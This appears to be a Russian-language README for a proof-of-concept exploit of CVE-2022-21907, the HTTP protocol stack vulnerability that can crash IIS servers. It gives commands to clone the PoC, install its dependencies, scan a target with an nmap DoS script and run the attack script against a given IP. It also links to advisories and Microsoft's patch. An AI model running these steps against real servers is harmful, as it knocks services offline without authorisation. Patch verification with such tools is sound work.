CVE-2022-21907 — Уязвимость удаленного выполнения кода в стеке протокола HTTP

---

⚠️ Только для образовательных целей и санкционированных исследований в области безопасности

Авторы оригинального эксплойта

Огромная благодарность авторам оригинального PoC: NU11SECURITY и michelep

Описание:

Уязвимость удаленного выполнения кода в стеке протокола HTTP. Эта уязвимость может привести к атаке типа «отказ в обслуживании» (denial-of-service) на целевую систему с веб-сервером IIS.

---

Пошаговые инструкции

1. Установите git, затем склонируйте PoC из репозитория GitHub:

   sudo apt install git -y
   git clone https://github.com/asepsaepdin/CVE-2022-21907.git
   

2. Установите зависимости с помощью команды pip3:

   sudo apt install python3-pip -y
   cd CVE-2022-21907
   pip3 install -r requirements.txt
   

3. Проверьте наличие уязвимости на целевой машине с помощью команды:

   nmap -p 80 --script dos_iis_2022_21907 10.10.10.1
   

4. Затем запустите PoC-скрипты с помощью команды:

   python3 CVE-2022-21907.py -i 10.10.1.10
   

   Примечания: укажите опцию -i с IP-адресом целевой системы

---

Благодарности

• https://nvd.nist.gov/vuln/detail/CVE-2022-21907#match-8257502
• https://www.exploit-db.com/exploits/51575
• https://github.com/mauricelambert/CVE-2022-21907
• https://github.com/michelep/CVE-2022-21907-Vulnerability-PoC

Меры по устранению:

• https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907

---